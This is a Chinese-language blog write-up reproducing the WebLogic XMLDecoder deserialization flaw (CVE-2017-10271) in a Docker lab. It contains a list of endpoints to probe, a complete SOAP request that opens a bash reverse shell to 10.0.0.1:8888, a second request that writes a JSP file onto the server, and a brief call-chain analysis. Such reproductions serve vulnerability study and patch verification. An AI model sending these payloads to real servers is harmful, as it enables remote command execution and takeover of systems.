Weblogic-CVE-2017-10271漏洞復現
漏洞描述:
WebLogic XMLDecoder反序列化漏洞。大體是Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。攻擊者發送精心構造的xml數據甚至能通過反彈shell拿到權限
受影響WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
?1、什么是WebLogic
? WebLogic是Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式的WEB應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和JavaEnterorise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
2、XML數據是什么
XML:
可擴展標記語言,用來傳輸和存儲數據
XMLDecoder:
XMLDecoder用于將XMLEncoder創建的xml文檔內容反序列化為一個Java對象,其位于java.beans包下。
XMLEncoder:
XMLEncoder 類是 ObjectOutputStream 的互補替換,可用于生成 JavaBean 的文本表示形式,所使用方式與用 ObjectOutputStream 創建 Serializable 對象的二進制表示形式的方式相同。
漏洞復現:
通過docker啟動靶場,訪問7001端口如下圖說明靶場啟動成功:

1、漏洞點探測
先拼接以下路徑訪問:
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
出現以下截圖的,可能存在漏洞

2、構造惡意xml
利用服務器的XMLDecoder可以解析XML數據這一特性,可以構造XML語句,上傳一句話木馬,getshell。
①反彈shell
首先在自己vps上開啟監聽端口8888
命令: nc -lvn 8888
注:其中反彈shell的語句,需要進行編碼,否則解析XML的時候將出現格式錯誤。POC如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/10.0.0.1/8888 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
抓包修改之后放包。網頁頁面回顯如下圖:

然后在自己的VPS上查看是否已經成功得到bash環境。如下圖:

成功獲得shell環境
②文件上傳
把頁面刷新一下抓到包替換下列數據包。
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 638 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/Zyon.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("Zyon Test Success"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
然后訪問: http://your-ip:7001/bea_wls_internal/Zyon.jsp

漏洞分析:
漏洞觸發位置:wls-wsat.war。 ?
漏洞觸發url:/wls-wsat/CoordinatorPortType(POST)。 ?
漏洞本質:此次漏洞出現在wls-wsat.war中,此組件使用了weblogic自帶的webservices處理程序來處理SOAP請求。然后在 weblogic.wsee.jaxws.workcontext.WorkContextServerTube 類中獲取XML數據傳遞給XMLDecoder來解析。 解析XML的調用鏈為 :
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter

浙公網安備 33010602011771號